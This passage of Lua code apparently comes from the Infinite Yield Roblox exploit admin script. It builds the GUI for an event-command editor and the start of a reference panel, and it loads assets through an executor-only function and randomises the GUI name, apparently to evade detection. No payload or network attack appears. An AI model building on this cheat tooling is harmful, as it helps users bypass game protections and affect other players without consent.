{17,"TextButton",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Font=3,Name="Close",BorderSizePixel=0,Parent={11},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="<",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}},
{18,"Folder",{Name="Templates",Parent={10},}},
{19,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Players",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,86),Visible=false,ZIndex=10,}},
{20,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={19},Size=UDim2.new(1,0,0,20),Text="Choose Players",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{21,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={19},Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-10,0,20),Text="Any Player",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{22,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={21},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{23,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={22},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{24,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Me",Parent={19},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Me Only",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{25,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={24},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{26,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={25},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{27,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={19},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Custom Player Set",Position=UDim2.new(0,5,0,64),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{28,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={19},Position=UDim2.new(1,-25,0,64),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{29,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={28},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{30,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Strings",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,64),Visible=false,ZIndex=10,}},
{31,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={30},Size=UDim2.new(1,0,0,20),Text="Choose String",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{32,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={30},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Any String",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{33,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={32},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{34,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={33},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{54,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Numbers",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,64),Visible=false,ZIndex=10,}},
{55,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={54},Size=UDim2.new(1,0,0,20),Text="Choose String",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{56,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={54},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Any Number",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{57,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={56},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{58,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={57},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{59,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={54},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Number",Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{60,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={54},Position=UDim2.new(1,-25,0,42),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{61,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={60},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{35,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={30},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Match String",Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{36,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={30},Position=UDim2.new(1,-25,0,42),Size=UDim2.new(0,20,0,20),ZIndex=10,}},
{37,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={36},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}},
{38,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="DelayEditor",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,24),Visible=false,ZIndex=10,}},
{39,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,Font=3,Name="Secs",Parent={38},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),Position=UDim2.new(0,60,0,2),Size=UDim2.new(1,-65,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{40,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Label",Parent={39},Position=UDim2.new(0,-55,0,0),Size=UDim2.new(1,0,1,0),Text="Delay (s):",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{41,"Frame",{BackgroundColor3=currentShade1,BorderSizePixel=0,ClipsDescendants=true,Name="EventTemplate",Parent={6},Size=UDim2.new(1,0,0,20),Visible=false,ZIndex=10,}},
{42,"TextButton",{BackgroundColor3=currentText1,BackgroundTransparency=1,Font=3,Name="Expand",Parent={41},Size=UDim2.new(0,20,0,20),Text=">",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}},
{43,"TextLabel",{BackgroundColor3=currentText1,BackgroundTransparency=1,Font=3,Name="EventName",Parent={41},Position=UDim2.new(0,25,0,0),Size=UDim2.new(1,-25,0,20),Text="OnSpawn",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{44,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BorderSizePixel=0,BackgroundTransparency=1,ClipsDescendants=true,Name="Cmds",Parent={41},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,1,-20),ZIndex=10,}},
{45,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),Name="Add",Parent={44},Position=UDim2.new(0,0,1,-20),Size=UDim2.new(1,0,0,20),ZIndex=10,}},
{46,"TextBox",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,ClearTextOnFocus=false,Font=3,Parent={45},PlaceholderColor3=Color3.new(0.7843137383461,0.7843137383461,0.7843137383461),PlaceholderText="Add new command",Position=UDim2.new(0,5,0,0),Size=UDim2.new(1,-10,1,0),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}},
{47,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={44},Size=UDim2.new(1,0,1,-20),ZIndex=10,}},
{48,"UIListLayout",{Parent={47},SortOrder=2,}},
{49,"Frame",{currentShade1,BorderSizePixel=0,ClipsDescendants=true,Name="CmdTemplate",Parent={6},Size=UDim2.new(1,0,0,20),Visible=false,ZIndex=10,}},
{50,"TextBox",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,ClearTextOnFocus=false,Font=3,Parent={49},PlaceholderColor3=Color3.new(1,1,1),Position=UDim2.new(0,5,0,0),Size=UDim2.new(1,-45,0,20),Text="a\\b\\c\\d",TextColor3=currentText1,TextSize=14,TextXAlignment=0,ZIndex=10,}},
{51,"TextButton",{BackgroundColor3=currentShade1,BorderSizePixel=0,Font=3,Name="Delete",Parent={49},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="X",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}},
{52,"TextButton",{BackgroundColor3=currentShade1,BorderSizePixel=0,Font=3,Name="Settings",Parent={49},Position=UDim2.new(1,-40,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}},
{53,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/settings.png"),Parent={52},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),ZIndex=10,}},
})
main.Name = randomString()
local mainFrame = main:WaitForChild("Content")
local eventList = mainFrame:WaitForChild("List")
local eventListHolder = eventList:WaitForChild("Holder")
local cmdTemplate = mainFrame:WaitForChild("CmdTemplate")
local eventTemplate = mainFrame:WaitForChild("EventTemplate")
local settingsFrame = mainFrame:WaitForChild("Settings"):WaitForChild("Slider")
local settingsTemplates = mainFrame.Settings:WaitForChild("Templates")
local settingsList = settingsFrame:WaitForChild("List"):WaitForChild("Holder")
table.insert(shade2,main.TopBar) table.insert(shade1,mainFrame) table.insert(shade2,eventTemplate)
table.insert(text1,eventTemplate.EventName) table.insert(shade1,eventTemplate.Cmds.Add) table.insert(shade1,cmdTemplate)
table.insert(text1,cmdTemplate.TextBox) table.insert(shade2,cmdTemplate.Delete) table.insert(shade2,cmdTemplate.Settings)
table.insert(scroll,mainFrame.List) table.insert(shade1,settingsFrame) table.insert(shade2,settingsFrame.Line)
table.insert(shade2,settingsFrame.Close) table.insert(scroll,settingsFrame.List) table.insert(shade2,settingsTemplates.DelayEditor.Secs)
table.insert(text1,settingsTemplates.DelayEditor.Secs) table.insert(text1,settingsTemplates.DelayEditor.Secs.Label) table.insert(text1,settingsTemplates.Players.Title)
table.insert(shade3,settingsTemplates.Players.CustomButton) table.insert(shade2,settingsTemplates.Players.Custom) table.insert(text1,settingsTemplates.Players.Custom)
table.insert(shade3,settingsTemplates.Players.Any.Button) table.insert(shade3,settingsTemplates.Players.Me.Button) table.insert(text1,settingsTemplates.Players.Any)
table.insert(text1,settingsTemplates.Players.Me) table.insert(text1,settingsTemplates.Strings.Title) table.insert(text1,settingsTemplates.Strings.Any)
table.insert(shade3,settingsTemplates.Strings.Any.Button) table.insert(shade3,settingsTemplates.Strings.CustomButton) table.insert(text1,settingsTemplates.Strings.Custom)
table.insert(shade2,settingsTemplates.Strings.Custom)
table.insert(text1,settingsTemplates.Players.Me) table.insert(text1,settingsTemplates.Numbers.Title) table.insert(text1,settingsTemplates.Numbers.Any)
table.insert(shade3,settingsTemplates.Numbers.Any.Button) table.insert(shade3,settingsTemplates.Numbers.CustomButton) table.insert(text1,settingsTemplates.Numbers.Custom)
table.insert(shade2,settingsTemplates.Numbers.Custom)
local tweenInf = TweenInfo.new(0.25,Enum.EasingStyle.Quart,Enum.EasingDirection.Out)
local currentlyEditingCmd = nil
settingsFrame:WaitForChild("Close").MouseButton1Click:Connect(function()
settingsFrame:TweenPosition(UDim2.new(0,-150,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)
end)
local function resizeList()
local size = 0
for i,v in pairs(eventListHolder:GetChildren()) do
if v.Name == "EventTemplate" then
size = size + 20
if v.Expand.Rotation == 90 then
size = size + 20*(1+(#events[v.EventName:GetAttribute("RawName")].commands or 0))
end
end
end
TweenService:Create(eventList,tweenInf,{CanvasSize = UDim2.new(0,0,0,size)}):Play()
if size > eventList.AbsoluteSize.Y then
eventListHolder.Size = UDim2.new(1,-8,1,0)
else
eventListHolder.Size = UDim2.new(1,0,1,0)
end
end
local function resizeSettingsList()
local size = 0
for i,v in pairs(settingsList:GetChildren()) do
if v:IsA("Frame") then
size = size + v.AbsoluteSize.Y
end
end
settingsList.Parent.CanvasSize = UDim2.new(0,0,0,size)
if size > settingsList.Parent.AbsoluteSize.Y then
settingsList.Size = UDim2.new(1,-8,1,0)
else
settingsList.Size = UDim2.new(1,0,1,0)
end
end
local function setupCheckbox(button,callback)
local enabled = button.On.BackgroundTransparency == 0
local function update()
button.On.BackgroundTransparency = (enabled and 0 or 1)
end
button.On.MouseButton1Click:Connect(function()
enabled = not enabled
update()
if callback then callback(enabled) end
end)
return {
Toggle = function(nocall) enabled = not enabled update() if not nocall and callback then callback(enabled) end end,
Enable = function(nocall) if enabled then return end enabled = true update()if not nocall and callback then callback(enabled) end end,
Disable = function(nocall) if not enabled then return end enabled = false update()if not nocall and callback then callback(enabled) end end,
IsEnabled = function() return enabled end
}
end
local function openSettingsEditor(event,cmd)
currentlyEditingCmd = cmd
for i,v in pairs(settingsList:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end
local delayEditor = settingsTemplates.DelayEditor:Clone()
delayEditor.Secs.FocusLost:Connect(function()
cmd[3] = tonumber(delayEditor.Secs.Text) or 0
delayEditor.Secs.Text = cmd[3]
if onEdited then onEdited() end
end)
delayEditor.Secs.Text = cmd[3]
delayEditor.Visible = true
table.insert(shade2,delayEditor.Secs)
table.insert(text1,delayEditor.Secs)
table.insert(text1,delayEditor.Secs.Label)
delayEditor.Parent = settingsList
for i,v in pairs(event.sets) do
if v.Type == "Player" then
local template = settingsTemplates.Players:Clone()
template.Title.Text = v.Name or "Player"
local me,any,custom
me = setupCheckbox(template.Me.Button,function(on)
if not on then return end
any.Disable()
custom.Disable()
cmd[2][i] = 0
if onEdited then onEdited() end
end)
any = setupCheckbox(template.Any.Button,function(on)
if not on then return end
me.Disable()
custom.Disable()
cmd[2][i] = 1
if onEdited then onEdited() end
end)
local customTextBox = template.Custom
custom = setupCheckbox(template.CustomButton,function(on)
if not on then return end
me.Disable()
any.Disable()
cmd[2][i] = customTextBox.Text
if onEdited then onEdited() end
end)
ViewportTextBox.convert(customTextBox)
customTextBox.FocusLost:Connect(function()
if custom:IsEnabled() then
cmd[2][i] = customTextBox.Text
if onEdited then onEdited() end
end
end)
local cVal = cmd[2][i]
if cVal == 0 then
me:Enable()
elseif cVal == 1 then
any:Enable()
else
custom:Enable()
customTextBox.Text = cVal
end
template.Visible = true
table.insert(text1,template.Title)
table.insert(shade3,template.CustomButton)
table.insert(shade3,template.Any.Button)
table.insert(shade3,template.Me.Button)
table.insert(text1,template.Any)
table.insert(text1,template.Me)
template.Parent = settingsList
elseif v.Type == "String" then
local template = settingsTemplates.Strings:Clone()
template.Title.Text = v.Name or "String"
local any,custom
any = setupCheckbox(template.Any.Button,function(on)
if not on then return end
custom.Disable()
cmd[2][i] = 0
if onEdited then onEdited() end
end)
local customTextBox = template.Custom
custom = setupCheckbox(template.CustomButton,function(on)
if not on then return end
any.Disable()
cmd[2][i] = customTextBox.Text
if onEdited then onEdited() end
end)
ViewportTextBox.convert(customTextBox)
customTextBox.FocusLost:Connect(function()
if custom:IsEnabled() then
cmd[2][i] = customTextBox.Text
if onEdited then onEdited() end
end
end)
local cVal = cmd[2][i]
if cVal == 0 then
any:Enable()
else
custom:Enable()
customTextBox.Text = cVal
end
template.Visible = true
table.insert(text1,template.Title)
table.insert(text1,template.Any)
table.insert(shade3,template.Any.Button)
table.insert(shade3,template.CustomButton)
template.Parent = settingsList
elseif v.Type == "Number" then
local template = settingsTemplates.Numbers:Clone()
template.Title.Text = v.Name or "Number"
local any,custom
any = setupCheckbox(template.Any.Button,function(on)
if not on then return end
custom.Disable()
cmd[2][i] = 0
if onEdited then onEdited() end
end)
local customTextBox = template.Custom
custom = setupCheckbox(template.CustomButton,function(on)
if not on then return end
any.Disable()
cmd[2][i] = customTextBox.Text
if onEdited then onEdited() end
end)
ViewportTextBox.convert(customTextBox)
customTextBox.FocusLost:Connect(function()
cmd[2][i] = tonumber(customTextBox.Text) or 0
customTextBox.Text = cmd[2][i]
if custom:IsEnabled() then
if onEdited then onEdited() end
end
end)
local cVal = cmd[2][i]
if cVal == 0 then
any:Enable()
else
custom:Enable()
customTextBox.Text = cVal
end
template.Visible = true
table.insert(text1,template.Title)
table.insert(text1,template.Any)
table.insert(shade3,template.Any.Button)
table.insert(shade3,template.CustomButton)
template.Parent = settingsList
end
end
resizeSettingsList()
settingsFrame:TweenPosition(UDim2.new(0,0,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)
end
local function defaultSettings(ev)
local res = {}
for i,v in pairs(ev.sets) do
if v.Type == "Player" then
res[#res+1] = v.Default or 0
elseif v.Type == "String" then
res[#res+1] = v.Default or 0
elseif v.Type == "Number" then
res[#res+1] = v.Default or 0
end
end
return res
end
local function refreshList()
for i,v in pairs(eventListHolder:GetChildren()) do if v:IsA("Frame") then v:Destroy() end end
for name,event in pairs(events) do
local eventF = eventTemplate:Clone()
eventF.EventName.Text = name
eventF.Visible = true
eventF.EventName:SetAttribute("RawName", name)
table.insert(shade2,eventF)
table.insert(text1,eventF.EventName)
table.insert(shade1,eventF.Cmds.Add)
local expanded = false
eventF.Expand.MouseButton1Down:Connect(function()
expanded = not expanded
eventF:TweenSize(UDim2.new(1,0,0,20 + (expanded and 20*#eventF.Cmds.Holder:GetChildren() or 0)),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)
eventF.Expand.Rotation = expanded and 90 or 0
resizeList()
end)
local function refreshCommands()
for i,v in pairs(eventF.Cmds.Holder:GetChildren()) do
if v.Name == "CmdTemplate" then
v:Destroy()
end
end
eventF.EventName.Text = name..(#event.commands > 0 and " ("..#event.commands..")" or "")
for i,cmd in pairs(event.commands) do
local cmdF = cmdTemplate:Clone()
local cmdTextBox = cmdF.TextBox
ViewportTextBox.convert(cmdTextBox)
cmdTextBox.Text = cmd[1]
cmdF.Visible = true
table.insert(shade1,cmdF)
table.insert(shade2,cmdF.Delete)
table.insert(shade2,cmdF.Settings)
cmdTextBox.FocusLost:Connect(function()
event.commands[i] = {cmdTextBox.Text,cmd[2],cmd[3]}
if onEdited then onEdited() end
end)
cmdF.Settings.MouseButton1Click:Connect(function()
openSettingsEditor(event,cmd)
end)
cmdF.Delete.MouseButton1Click:Connect(function()
table.remove(event.commands,i)
refreshCommands()
resizeList()
if currentlyEditingCmd == cmd then
settingsFrame:TweenPosition(UDim2.new(0,-150,0,0),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)
end
if onEdited then onEdited() end
end)
cmdF.Parent = eventF.Cmds.Holder
end
eventF:TweenSize(UDim2.new(1,0,0,20 + (expanded and 20*#eventF.Cmds.Holder:GetChildren() or 0)),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)
end
local newBox = eventF.Cmds.Add.TextBox
ViewportTextBox.convert(newBox)
newBox.FocusLost:Connect(function(enter)
if enter then
event.commands[#event.commands+1] = {newBox.Text,defaultSettings(event),0}
newBox.Text = ""
refreshCommands()
resizeList()
if onEdited then onEdited() end
end
end)
--eventF:GetPropertyChangedSignal("AbsoluteSize"):Connect(resizeList)
eventF.Parent = eventListHolder
refreshCommands()
end
resizeList()
end
local function saveData()
local result = {}
for i,v in pairs(events) do
result[i] = v.commands
end
return HttpService:JSONEncode(result)
end
local function loadData(str)
local data = HttpService:JSONDecode(str)
for i,v in pairs(data) do
if events[i] then
events[i].commands = v
end
end
end
local function addCmd(event,data)
table.insert(events[event].commands,data)
end
local function setOnEdited(f)
if type(f) == "function" then
onEdited = f
end
end
main.TopBar.Close.MouseButton1Click:Connect(function()
main:TweenPosition(UDim2.new(0.5,-175,0,-500), "InOut", "Quart", 0.5, true, nil)
end)
dragGUI(main)
main.Parent = ScaledHolder
return {
RegisterEvent = registerEvent,
FireEvent = fireEvent,
Refresh = refreshList,
SaveData = saveData,
LoadData = loadData,
AddCmd = addCmd,
Frame = main,
SetOnEdited = setOnEdited
}
end)()
reference = (function()
local main = create({
{1,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,Name="Main",Position=UDim2.new(0.5,-250,0,-500),Size=UDim2.new(0,500,0,20),ZIndex=10,}},
{2,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="TopBar",Parent={1},Size=UDim2.new(1,0,0,20),ZIndex=10,}},
{3,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={2},Size=UDim2.new(1,0,0.94999998807907,0),Text="Reference",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{4,"TextButton",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Close",Parent={2},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}},
{5,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/close.png"),Parent={4},Position=UDim2.new(0,5,0,5),Size=UDim2.new(0,10,0,10),ZIndex=10,}},
{6,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderSizePixel=0,Name="Content",Parent={1},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,0,300),ZIndex=10,}},
{7,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,1313),Name="List",Parent={6},ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,0,1,0),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",VerticalScrollBarInset=2,ZIndex=10,}},
{8,"UIListLayout",{Parent={7},SortOrder=2,}},
{9,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Section",Parent={7},Size=UDim2.new(1,0,0,429),ZIndex=10,}},
{10,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="Header",Parent={9},Position=UDim2.new(0,8,0,5),Size=UDim2.new(1,-8,0,20),Text="Special Player Cases",TextColor3=Color3.new(1,1,1),TextSize=20,TextXAlignment=0,ZIndex=10,}},
{11,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Text",Parent={9},Position=UDim2.new(0,8,0,25),Size=UDim2.new(1,-8,0,20),Text="These keywords can be used to quickly select groups of players in commands:",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{12,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderSizePixel=0,Name="Line",Parent={9},Position=UDim2.new(0,10,1,-1),Size=UDim2.new(1,-20,0,1),ZIndex=10,}},
{13,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Name="Cases",Parent={9},Position=UDim2.new(0,8,0,55),Size=UDim2.new(1,-16,0,342),ZIndex=10,}},
{14,"UIListLayout",{Parent={13},SortOrder=2,}},
{15,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-4,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{16,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={15},Size=UDim2.new(1,0,1,0),Text="all",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{17,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="CaseDesc",Parent={15},Position=UDim2.new(0,15,0,0),Size=UDim2.new(1,0,1,0),Text="- includes everyone",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
{18,"Frame",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,LayoutOrder=-3,Name="Case",Parent={13},Position=UDim2.new(0,8,0,60),Size=UDim2.new(1,0,0,18),ZIndex=10,}},
{19,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=4,Name="CaseName",Parent={18},Size=UDim2.new(1,0,1,0),Text="others",TextColor3=Color3.new(1,1,1),TextSize=14,TextWrapped=true,TextXAlignment=0,ZIndex=10,}},
